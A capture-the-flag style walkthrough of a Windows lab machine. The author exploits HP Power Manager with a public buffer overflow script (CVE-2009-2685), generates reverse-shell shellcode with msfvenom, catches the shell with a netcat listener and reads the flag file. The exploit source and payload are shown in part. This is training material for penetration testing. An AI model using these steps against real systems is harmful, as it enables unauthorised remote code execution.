Kevin
Level: Easy
Machine Type: Windows

Generally, you would start off with some enumeration, but the description talks about using a public exploit against HP Power Manager, so I just skipped straight to using searchsploit.

```
┌──(kali㉿kali)-[~]
└─$ searchsploit HP Power Manager
--------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                          |  Path
--------------------------------------------------------------------------------------- ---------------------------------
Flying Dog Software Powerslave 4.3 Portalmanager - 'sql_id' Information Disclosure     | php/webapps/23163.txt
Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Overflow (Metasploit) | windows/remote/16785.rb
Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Univers | windows/remote/10099.py
HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Metasploit)             | cgi/remote/18015.rb
--------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

I decided to use windows/remote/[10099.py](10099.py) since it fits the description I was given. So, I run the command to copy it to my home directory

```
┌──(kali㉿kali)-[~]
└─$ searchsploit -m windows/remote/10099.py
  Exploit: Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow
      URL: https://www.exploit-db.com/exploits/10099
     Path: /usr/share/exploitdb/exploits/windows/remote/10099.py
    Codes: CVE-2009-2685
 Verified: True
File Type: Python script, ASCII text executable
cp: overwrite '/home/kali/10099.py'? n
Copied to: /home/kali/10099.py
```

After copying it, I read the script and determined that I need to change the shell code from the default using msfvenom.

```
File  Actions  Edit  View  Help
  GNU nano 8.4                                   10099.py

# C:\WINDOWS\system32>

import sys
from socket import *

print "HP Power Manager Administration Universal Buffer Overflow Exploit"
print "ryujin __A-T__ offensive-security.com"

try:
   HOST  = sys.argv[1]
except IndexError:
   print "Usage: %s HOST" % sys.argv[0]
   sys.exit()

PORT  = 80
RET   = "\xCF\xBC\x08\x76" # 7608BCCF JMP ESP MSVCP60.dll

# [*] Using Msf::Encoder::PexAlphaNum with final size of 709 bytes
# badchar = "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a"
SHELL = (
"n00bn00b"
"\x89\xe1\xdd\xc7\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x4b\x4c\x68\x68\x6e\x62\x57\x70\x75\x50"
"\x63\x30\x61\x70\x6f\x79\x58\x65\x66\x51\x6b\x70\x73\x54"
"\x4c\x4b\x72\x70\x44\x70\x4e\x6b\x31\x42\x66\x6c\x4e\x6b"
"\x43\x62\x65\x44\x6c\x4b\x72\x52\x76\x48\x54\x4f\x4e\x57"
"\x72\x6a\x45\x76\x46\x51\x6b\x4f\x6e\x4c\x35\x6c\x73\x51"
"\x53\x4c\x46\x62\x76\x4c\x51\x30\x6a\x61\x38\x4f\x74\x4d"
"\x55\x51\x58\x47\x7a\x42\x78\x72\x70\x52\x32\x77\x4c\x4b"
"\x46\x32\x46\x70\x4c\x4b\x61\x5a\x65\x6c\x6e\x6b\x62\x6c"
"\x56\x71\x34\x38\x6b\x53\x63\x78\x63\x31\x38\x51\x43\x61"
"\x6e\x6b\x42\x79\x37\x50\x53\x31\x6a\x73\x4c\x4b\x52\x69"
```

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\
x25\x1a' LHOST=192.168.45.223 LPORT=4444 -e x86/alpha_mixed -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of c file: 3017 bytes
unsigned char buf[] =
"\x89\xe2\xd9\xc8\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x59\x6c\x7a\x48\x6c\x42\x43\x30\x57\x70"
"\x35\x50\x75\x30\x6b\x39\x4a\x45\x46\x51\x49\x50\x61\x74"
```

After running the command, I am given a new shellcode that I can use to replace the default one inside of the script. Now I will set up my netcat listener for the shell.

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
```

Now I can run the script and get the shell.

```
┌──(kali㉿kali)-[~]
└─$ python2 10099.py 192.168.247.45
HP Power Manager Administration Universal Buffer Overflow Exploit
ryujin __A-T__ offensive-security.com
[+] Sending evil buffer...
HTTP/1.0 200 OK

[+] Done!
[*] Check your shell at 192.168.247.45:4444 , can take up to 1 min to spawn your shell
```

Now that I have the shell, all I need to do is change directories to \Users\Administrator\Desktop then I can use type to read the proof.txt and get the flag.

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.45.223] from (UNKNOWN) [192.168.247.45] 49169
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
```

```
C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
cff293b8fde02547a16f8f7c6bfcb269
```